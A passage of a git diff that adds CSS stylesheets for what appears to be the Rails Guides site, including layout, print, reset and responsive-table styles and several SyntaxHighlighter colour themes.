url(http://github.com/images/tab_red.gif) no-repeat left top; + border: none; + padding: 1.25em 1.25em 0.25em 48px; + margin-left: 0; + margin-top: 0.25em; +} + +#subCol .chapters {color: #980905;} +#subCol .chapters a {font-weight: bold;} +#subCol .chapters ul a {font-weight: normal;} +#subCol .chapters li {margin-bottom: 0.75em;} +#subCol h3.chapter {margin-top: 0.25em;} +#subCol h3.chapter img {vertical-align: text-bottom;} +#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;} +#subCol .chapters ul li { + list-style: none; + padding: 0 0 0 1em; + background: url(http://github.com/images/bullet.gif) no-repeat left 0.45em; + margin-left: 0; + font-size: 1em; + font-weight: normal; +} + +div.code_container { + background: #EEE url(http://github.com/images/tab_grey.gif) no-repeat left top; + padding: 0.25em 1em 0.5em 48px; +} + +.note { + background: #fff9d8 url(http://github.com/images/tab_note.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +.info { + background: #d5e9f6 url(http://github.com/images/tab_info.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +#mainCol div.todo { + background: #fff9d8 url(http://github.com/images/tab_yellow.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +.note code, .info code, .todo code {border:none; background: none; padding: 0;} + +#mainCol ul li { + list-style:none; + background: url(http://github.com/images/grey_bullet.gif) no-repeat left 0.5em; + padding-left: 1em; + margin-left: 0; +} + +#subCol .content { + font-size: 0.7857em; + line-height: 1.5em; +} + +#subCol .content li { + font-weight: normal; + background: none; + padding: 0 0 1em; + font-size: 1.1667em; +} + +/* Clearing +--------------------------------------- */ + +.clearfix:after { + content: "."; + display: block; + height: 0; + clear: both; + visibility: hidden; +} + +.clearfix {display: inline-block;} +* html .clearfix {height: 1%;} +.clearfix {display: block;} +.clear { clear:both; } + +/* Same bottom margin for special boxes than for regular paragraphs, this way +intermediate whitespace looks uniform. */ +div.code_container, div.important, div.caution, div.warning, div.note, div.info { + margin-bottom: 1.5em; +} + +/* Remove bottom margin of paragraphs in special boxes, otherwise they get a +spurious blank area below with the box background. */ +div.important p, div.caution p, div.warning p, div.note p, div.info p { + margin-bottom: 1em; +} + +/* Edge Badge +--------------------------------------- */ + +#edge-badge { + position: fixed; + right: 0px; + top: 0px; + z-index: 100; + border: none; +} + +/* Foundation v2.1.4 http://foundation.zurb.com */ +/* Artfully masterminded by ZURB */ + +table th { font-weight: bold; } +table td, table th { padding: 9px 10px; text-align: left; } + +/* Mobile */ +@media only screen and (max-width: 767px) { + table.responsive { margin-bottom: 0; } + + .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; } + .pinned table { border-right: none; border-left: none; width: 100%; } + .pinned table th, .pinned table td { white-space: nowrap; } + .pinned td:last-child { border-bottom: 0; } + + div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; } + div.table-wrapper div.scrollable table { margin-left: 35%; } + div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; } + + table.responsive td, table.responsive th { position: relative; white-space: nowrap; overflow: hidden; } + table.responsive th:first-child, table.responsive td:first-child, table.responsive td:first-child, table.responsive.pinned td { display: none; } + +} diff --git a/v4.1/stylesheets/print.css b/v4.1/stylesheets/print.css new file mode 100644 index 0000000..bdc8ec9 --- /dev/null +++ b/v4.1/stylesheets/print.css @@ -0,0 +1,52 @@ +/* Guides.rubyonrails.org */ +/* Print.css */ +/* Created January 30, 2009 */ +/* Modified January 31, 2009 +--------------------------------------- */ + +body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;} + +body { + background: #FFF; + font-size: 10pt !important; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + line-height: 1.5; + color: #000; + padding: 0 3%; + } + +.hide, .nav { + display: none !important; + } + +a:link, a:visited { + background: transparent; + font-weight: bold; + text-decoration: underline; + } + +hr { + background:#ccc; + color:#ccc; + width:100%; + height:2px; + margin:2em 0; + padding:0; + border:none; +} + +h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; } +code { font:.9em "Courier New", Monaco, Courier, monospace; display:inline} + +img { float:left; margin:1.5em 1.5em 1.5em 0; } +a img { border:none; } + +blockquote { + margin:1.5em; + padding:1em; + font-style:italic; + font-size:.9em; +} + +.small { font-size: .9em; } +.large { font-size: 1.1em; } diff --git a/v4.1/stylesheets/reset.css b/v4.1/stylesheets/reset.css new file mode 100644 index 0000000..cb14fbc --- /dev/null +++ b/v4.1/stylesheets/reset.css @@ -0,0 +1,43 @@ +/* Guides.rubyonrails.org */ +/* Reset.css */ +/* Created January 30, 2009 +--------------------------------------- */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, img, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +b, u, i, center, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + margin: 0; + padding: 0; + border: 0; + outline: 0; + font-size: 100%; + background: transparent; +} + +body {line-height: 1; color: black; background: white;} +a img {border:none;} +ins {text-decoration: none;} +del {text-decoration: line-through;} + +:focus { + -moz-outline:0; + outline:0; + outline-offset:0; +} + +/* tables still need 'cellspacing="0"' in the markup */ +table {border-collapse: collapse; border-spacing: 0;} +caption, th, td {text-align: left; font-weight: normal;} + +blockquote, q {quotes: none;} +blockquote:before, blockquote:after, +q:before, q:after { + content: ''; + content: none; +} diff --git a/v4.1/stylesheets/responsive-tables.css b/v4.1/stylesheets/responsive-tables.css new file mode 100755 index 0000000..9ecb15f --- /dev/null +++ b/v4.1/stylesheets/responsive-tables.css @@ -0,0 +1,50 @@ +/* Foundation v2.1.4 http://foundation.zurb.com */ +/* Artfully masterminded by ZURB */ + +/* -------------------------------------------------- + Table of Contents +----------------------------------------------------- +:: Shared Styles +:: Page Name 1 +:: Page Name 2 +*/ + + +/* ----------------------------------------- + Shared Styles +----------------------------------------- */ + +table th { font-weight: bold; } +table td, table th { padding: 9px 10px; text-align: left; } + +/* Mobile */ +@media only screen and (max-width: 767px) { + + table { margin-bottom: 0; } + + .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; } + .pinned table { border-right: none; border-left: none; width: 100%; } + .pinned table th, .pinned table td { white-space: nowrap; } + .pinned td:last-child { border-bottom: 0; } + + div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; } + div.table-wrapper div.scrollable table { margin-left: 35%; } + div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; } + + table td, table th { position: relative; white-space: nowrap; overflow: hidden; } + table th:first-child, table td:first-child, table td:first-child, table.pinned td { display: none; } + +} + +/* ----------------------------------------- + Page Name 1 +----------------------------------------- */ + + + + +/* ----------------------------------------- + Page Name 2 +----------------------------------------- */ + + diff --git a/v4.1/stylesheets/style.css b/v4.1/stylesheets/style.css new file mode 100644 index 0000000..89b2ab8 --- /dev/null +++ b/v4.1/stylesheets/style.css @@ -0,0 +1,13 @@ +/* Guides.rubyonrails.org */ +/* Style.css */ +/* Created January 30, 2009 +--------------------------------------- */ + +/* +--------------------------------------- +Import advanced style sheet +--------------------------------------- +*/ + +@import url("http://github.com/reset.css"); +@import url("http://github.com/main.css"); diff --git a/v4.1/stylesheets/syntaxhighlighter/shCore.css b/v4.1/stylesheets/syntaxhighlighter/shCore.css new file mode 100644 index 0000000..34f6864 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shCore.css @@ -0,0 +1,226 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shCoreDefault.css b/v4.1/stylesheets/syntaxhighlighter/shCoreDefault.css new file mode 100644 index 0000000..08f9e10 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shCoreDefault.css @@ -0,0 +1,328 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} + +.syntaxhighlighter { + background-color: white !important; +} +.syntaxhighlighter .line.alt1 { + background-color: white !important; +} +.syntaxhighlighter .line.alt2 { + background-color: white !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #e0e0e0 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: black !important; +} +.syntaxhighlighter table caption { + color: black !important; +} +.syntaxhighlighter .gutter { + color: #afafaf !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #6ce26c !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #6ce26c !important; + color: white !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: blue !important; + background: white !important; + border: 1px solid #6ce26c !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: blue !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: red !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #6ce26c !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: black !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: black !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #008200 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: blue !important; +} +.syntaxhighlighter .keyword { + color: #006699 !important; +} +.syntaxhighlighter .preprocessor { + color: gray !important; +} +.syntaxhighlighter .variable { + color: #aa7700 !important; +} +.syntaxhighlighter .value { + color: #009900 !important; +} +.syntaxhighlighter .functions { + color: #ff1493 !important; +} +.syntaxhighlighter .constants { + color: #0066cc !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #006699 !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: gray !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: red !important; +} + +.syntaxhighlighter .keyword { + font-weight: bold !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shCoreDjango.css b/v4.1/stylesheets/syntaxhighlighter/shCoreDjango.css new file mode 100644 index 0000000..1db1f70 --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shCoreDjango.css @@ -0,0 +1,331 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + -webkit-border-radius: 0 0 0 0 !important; + background: none !important; + border: 0 !important; + bottom: auto !important; + float: none !important; + height: auto !important; + left: auto !important; + line-height: 1.1em !important; + margin: 0 !important; + outline: 0 !important; + overflow: visible !important; + padding: 0 !important; + position: static !important; + right: auto !important; + text-align: left !important; + top: auto !important; + vertical-align: baseline !important; + width: auto !important; + box-sizing: content-box !important; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important; + font-weight: normal !important; + font-style: normal !important; + font-size: 1em !important; + min-height: inherit !important; + min-height: auto !important; +} + +.syntaxhighlighter { + width: 100% !important; + margin: 1em 0 1em 0 !important; + position: relative !important; + overflow: auto !important; + font-size: 1em !important; +} +.syntaxhighlighter.source { + overflow: hidden !important; +} +.syntaxhighlighter .bold { + font-weight: bold !important; +} +.syntaxhighlighter .italic { + font-style: italic !important; +} +.syntaxhighlighter .line { + white-space: pre !important; +} +.syntaxhighlighter table { + width: 100% !important; +} +.syntaxhighlighter table caption { + text-align: left !important; + padding: .5em 0 0.5em 1em !important; +} +.syntaxhighlighter table td.code { + width: 100% !important; +} +.syntaxhighlighter table td.code .container { + position: relative !important; +} +.syntaxhighlighter table td.code .container textarea { + box-sizing: border-box !important; + position: absolute !important; + left: 0 !important; + top: 0 !important; + width: 100% !important; + height: 100% !important; + border: none !important; + background: white !important; + padding-left: 1em !important; + overflow: hidden !important; + white-space: pre !important; +} +.syntaxhighlighter table td.gutter .line { + text-align: right !important; + padding: 0 0.5em 0 1em !important; +} +.syntaxhighlighter table td.code .line { + padding: 0 1em !important; +} +.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line { + padding-left: 0em !important; +} +.syntaxhighlighter.show { + display: block !important; +} +.syntaxhighlighter.collapsed table { + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar { + padding: 0.1em 0.8em 0em 0.8em !important; + font-size: 1em !important; + position: static !important; + width: auto !important; + height: auto !important; +} +.syntaxhighlighter.collapsed .toolbar span { + display: inline !important; + margin-right: 1em !important; +} +.syntaxhighlighter.collapsed .toolbar span a { + padding: 0 !important; + display: none !important; +} +.syntaxhighlighter.collapsed .toolbar span a.expandSource { + display: inline !important; +} +.syntaxhighlighter .toolbar { + position: absolute !important; + right: 1px !important; + top: 1px !important; + width: 11px !important; + height: 11px !important; + font-size: 10px !important; + z-index: 10 !important; +} +.syntaxhighlighter .toolbar span.title { + display: inline !important; +} +.syntaxhighlighter .toolbar a { + display: block !important; + text-align: center !important; + text-decoration: none !important; + padding-top: 1px !important; +} +.syntaxhighlighter .toolbar a.expandSource { + display: none !important; +} +.syntaxhighlighter.ie { + font-size: .9em !important; + padding: 1px 0 1px 0 !important; +} +.syntaxhighlighter.ie .toolbar { + line-height: 8px !important; +} +.syntaxhighlighter.ie .toolbar a { + padding-top: 0px !important; +} +.syntaxhighlighter.printing .line.alt1 .content, +.syntaxhighlighter.printing .line.alt2 .content, +.syntaxhighlighter.printing .line.highlighted .number, +.syntaxhighlighter.printing .line.highlighted.alt1 .content, +.syntaxhighlighter.printing .line.highlighted.alt2 .content { + background: none !important; +} +.syntaxhighlighter.printing .line .number { + color: #bbbbbb !important; +} +.syntaxhighlighter.printing .line .content { + color: black !important; +} +.syntaxhighlighter.printing .toolbar { + display: none !important; +} +.syntaxhighlighter.printing a { + text-decoration: none !important; +} +.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a { + color: black !important; +} +.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a { + color: #008200 !important; +} +.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a { + color: blue !important; +} +.syntaxhighlighter.printing .keyword { + color: #006699 !important; + font-weight: bold !important; +} +.syntaxhighlighter.printing .preprocessor { + color: gray !important; +} +.syntaxhighlighter.printing .variable { + color: #aa7700 !important; +} +.syntaxhighlighter.printing .value { + color: #009900 !important; +} +.syntaxhighlighter.printing .functions { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .constants { + color: #0066cc !important; +} +.syntaxhighlighter.printing .script { + font-weight: bold !important; +} +.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a { + color: gray !important; +} +.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a { + color: #ff1493 !important; +} +.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a { + color: red !important; +} +.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a { + color: black !important; +} + +.syntaxhighlighter { + background-color: #0a2b1d !important; +} +.syntaxhighlighter .line.alt1 { + background-color: #0a2b1d !important; +} +.syntaxhighlighter .line.alt2 { + background-color: #0a2b1d !important; +} +.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 { + background-color: #233729 !important; +} +.syntaxhighlighter .line.highlighted.number { + color: white !important; +} +.syntaxhighlighter table caption { + color: #f8f8f8 !important; +} +.syntaxhighlighter .gutter { + color: #497958 !important; +} +.syntaxhighlighter .gutter .line { + border-right: 3px solid #41a83e !important; +} +.syntaxhighlighter .gutter .line.highlighted { + background-color: #41a83e !important; + color: #0a2b1d !important; +} +.syntaxhighlighter.printing .line .content { + border: none !important; +} +.syntaxhighlighter.collapsed { + overflow: visible !important; +} +.syntaxhighlighter.collapsed .toolbar { + color: #96dd3b !important; + background: black !important; + border: 1px solid #41a83e !important; +} +.syntaxhighlighter.collapsed .toolbar a { + color: #96dd3b !important; +} +.syntaxhighlighter.collapsed .toolbar a:hover { + color: white !important; +} +.syntaxhighlighter .toolbar { + color: white !important; + background: #41a83e !important; + border: none !important; +} +.syntaxhighlighter .toolbar a { + color: white !important; +} +.syntaxhighlighter .toolbar a:hover { + color: #ffe862 !important; +} +.syntaxhighlighter .plain, .syntaxhighlighter .plain a { + color: #f8f8f8 !important; +} +.syntaxhighlighter .comments, .syntaxhighlighter .comments a { + color: #336442 !important; +} +.syntaxhighlighter .string, .syntaxhighlighter .string a { + color: #9df39f !important; +} +.syntaxhighlighter .keyword { + color: #96dd3b !important; +} +.syntaxhighlighter .preprocessor { + color: #91bb9e !important; +} +.syntaxhighlighter .variable { + color: #ffaa3e !important; +} +.syntaxhighlighter .value { + color: #f7e741 !important; +} +.syntaxhighlighter .functions { + color: #ffaa3e !important; +} +.syntaxhighlighter .constants { + color: #e0e8ff !important; +} +.syntaxhighlighter .script { + font-weight: bold !important; + color: #96dd3b !important; + background-color: none !important; +} +.syntaxhighlighter .color1, .syntaxhighlighter .color1 a { + color: #eb939a !important; +} +.syntaxhighlighter .color2, .syntaxhighlighter .color2 a { + color: #91bb9e !important; +} +.syntaxhighlighter .color3, .syntaxhighlighter .color3 a { + color: #edef7d !important; +} + +.syntaxhighlighter .comments { + font-style: italic !important; +} +.syntaxhighlighter .keyword { + font-weight: bold !important; +} diff --git a/v4.1/stylesheets/syntaxhighlighter/shCoreEclipse.css b/v4.1/stylesheets/syntaxhighlighter/shCoreEclipse.css new file mode 100644 index 0000000..a45de9f --- /dev/null +++ b/v4.1/stylesheets/syntaxhighlighter/shCoreEclipse.css @@ -0,0 +1,339 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + -moz-border-radius: 0 0 0 0 !important; + 